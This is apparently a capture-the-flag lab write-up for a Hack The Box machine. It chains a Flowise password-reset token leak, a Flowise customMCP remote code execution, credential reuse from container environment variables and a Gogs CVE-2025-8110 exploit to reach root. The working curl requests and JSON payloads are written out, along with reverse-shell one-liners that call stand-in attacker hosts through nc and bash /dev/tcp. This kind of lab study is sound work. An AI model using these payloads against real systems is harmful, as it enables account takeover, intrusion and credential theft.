Abusing a Flowise AI unauthenticated password reset to hijack an admin account, leveraging an authenticated RCE endpoint to escape into a Docker container, leaking credentials from environment variables to SSH in as ben, then exploiting CVE-2025-8110 in Gogs to achieve a root shell.
We begin with a standard nmap scan. Only two ports are open — SSH on 22 and nginx on 80 — and the HTTP server immediately redirects to silentium.htb. Even a full -p- scan confirms this is the complete attack surface.
$ nmap -sV 10.129.26.252 Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-12 11:07 CEST Nmap scan report for 10.129.26.252 Host is up (0.029s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA) |_ 256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519) 80/tcp open http nginx 1.24.0 (Ubuntu) |_http-title: Did not follow redirect to http://silentium.htb/ |_http-server-header: nginx/1.24.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Nmap done: 1 IP address (1 host up) scanned in 8.36 seconds
Directory and domain brute-forcing against the root turns up nothing useful. However, vhost enumeration with gobuster uncovers an interesting subdomain:
$ gobuster vhost -u "http://silentium.htb" -w bitquark-subdomains-top100000.txt --append-domain =============================================================== Gobuster v3.8.2 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://silentium.htb [+] Method: GET [+] Threads: 10 [+] Wordlist: bitquark-subdomains-top100000.txt [+] User Agent: gobuster/3.8.2 [+] Timeout: 10s [+] Append Domain: true =============================================================== Starting gobuster in VHOST enumeration mode =============================================================== staging.silentium.htb Status: 200 [Size: 3142] Progress: 6071 / 100000 (6.07%)
Visiting staging.silentium.htb reveals a Flowise AI instance — an open-source platform that lets users build customized LLM pipelines. The version is visible in the page source.
staging.silentium.htb hosts a Flowise AI instance. Flowise exposes a rich REST API under /api/v1/, including user and authentication endpoints that don't require a valid session.
By googling Flowise's CVE we can find that /api/v1/account/forgot-password endpoint is reachable without authentication. When supplied with a valid email, it generates a temporary reset token and returns it directly in the JSON response body. We can then use this temp token to reset the password of the user as we like.
Now we just need an email. We can find it trying the name of the employee Ben. The first step is then to take over the ben@silentium.htb admin account (we know it exist cause it doesn't return "user not found"). We POST to the forgot-password endpoint and pull the tempToken directly out of the response.
Once we are in possess of the temp token we can use it to reset Ben's account password.
No authentication is required. The API returns a tempToken and its expiry directly in the response body.
$ curl -i -X POST http://staging.silentium.htb/api/v1/account/forgot-password \ -H "Content-Type: application/json" \ -d '{"user":{"email":"ben@silentium.htb"}}' HTTP/1.1 201 Created Content-Type: application/json; charset=utf-8 { "user": { "id": "e26c9d6c-678c-4c10-9e36-01813e8fea73", "name": "admin", "email": "ben@silentium.htb", "tempToken": "V1ktVdYlu9bOLiS2tHxSxPGLxKBa3x12U8GAEIxXnZqoAozZdzT2O4Qh2r4Epo9D", "tokenExpiry": "2026-04-12T09:49:04.776Z", "status": "active" } }
We feed the tempToken straight into the reset-password endpoint to set a new password of our choosing.
$ curl -i -X POST http://staging.silentium.htb/api/v1/account/reset-password \ -H "Content-Type: application/json" \ -d '{ "user": { "email": "ben@silentium.htb", "tempToken": "V1ktVdYlu9bOLiS2tHxSxPGLxKBa3x12U8GAEIxXnZqoAozZdzT2O4Qh2r4Epo9D", "password": "MyPassword123" } }' HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 {"message":"Password reset successfully"}
With the new password in place we authenticate normally and capture the JWT Bearer token needed for the next stage.
$ curl -s -X POST http://staging.silentium.htb/api/v1/account/login \ -H "Content-Type: application/json" \ -d '{"email":"ben@silentium.htb","password":"MyPassword123"}' | jq -r '.token' yaJ8yaTnN_2bwzPJQmhU9-0BIFPgMc3bz1a4L-RcmnM
tempToken leaked through the API let us hold a valid JWT for the ben@silentium.htb admin account.
With a valid Bearer token we can hit the /api/v1/node-load-method/customMCP endpoint. The mcpServerConfig value is evaluated server-side as JavaScript, giving us full access to Node's child_process module.
We know this from a google search, where we can find this Proof of Concept of this RCE (I just googled "Flowise CVE PoC"): RCE in FlowiseAI/Flowise
We craft payload.json with a sh reverse-shell one-liner embedded inside a self-executing JavaScript function. The server evaluates the expression, spawning a shell back to our listener.
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "({x:(function(){const cp=process.mainModule.require('child_process');cp.exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc YOUR_sIP 4444 >/tmp/f');return 1;})()} )"
}
}
$ ncat -lvp 4444 Ncat: Listening on 0.0.0.0:4444
$ curl -s -X POST http://staging.silentium.htb/api/v1/node-load-method/customMCP \ -H "Content-Type: application/json" \ -H "Authorization: Bearer yaJ8yaTnN_2bwzPJQmhU9-0BIFPgMc3bz1a4L-RcmnM" \ -d @payload.json
Ncat: Connection from 10.129.26.252:54408. ~ # id uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
The container environment is loaded with secrets — including SMTP credentials and the Flowise password. We dump everything and spot usable SSH passwords.
~ # env FLOWISE_PASSWORD=REDACTED HOSTNAME=c78c3cceb7ba SMTP_PORT=1025 PORT=3000 SENDER_EMAIL=ben@silentium.htb JWT_ISSUER=ISSUER JWT_AUTH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD LLM_PROVIDER=nvidia-nim FLOWISE_USERNAME=ben DATABASE_PATH=/root/.flowise JWT_TOKEN_EXPIRY_IN_MINUTES=360 SMTP_PASSWORD=REDACTED SMTP_HOST=mailhog SMTP_USER=test ...
REDACTED (Flowise) and REDACTED (SMTP). We try both against SSH for user ben.
$ ssh ben@10.129.26.252 ben@10.129.26.252's password: REDACTED Welcome to Ubuntu 24.04.2 LTS ben@silentium:~$ id uid=1000(ben) gid=1000(ben) groups=1000(ben),100(users)
The user flag, as always, is waiting us in the home directory.
ben@silentium:~$ cat user.txt HTB{REDACTED}
Enumerating the machine we find a Gogs instance running locally. Gogs is vulnerable to CVE-2025-8110 — a symlink-based RCE that allows an authenticated user to overwrite .git/config inside any repository, injecting an arbitrary sshCommand that executes when a privileged process runs git push.
Also here, becoming aware that our hacker skills are more and more relying on google searches, we can find the following PoC online: gogs-CVE-2025-8110
Changing the credentials as the ones of the user we registered and deleting the register function in the PoC we can get a reverse shell.
The Gogs instance allows open registration. We sign up with a random user and password like user:Password123!, then generate an application token from the settings page to use with the API.
$ cat exploit_cve-2025-8110.py ... username = "user" password = "Password123!" command = f"bash -c 'bash -i >& /dev/tcp/{args.host}/{args.port} 0>&1' #" try: login(session, args.url, username, password) token = get_application_token(session, args.url) repo_name = create_malicious_repo(session, args.url, token) git_config = f"""[core] ...
The script let us gain a rev shell, let's spawn first an ncat listener and the execute the script
$ python3 exploit_cve-2025-8110.py -u TARGET_URL -lh ATTACKER_IP -lp ATTACKER_PORT [+] Exploit sent, check your listener!
$ ncat -lvp 5555 Ncat: Connection from 10.129.26.252:49102. root@silentium:~# id uid=0(root) gid=0(root) groups=0(root)
With a root shell on the host we head straight to /root and collect the final flag.
root@silentium:~# ls root.txt root@silentium:~# cat root.txt HTB{REDACTED}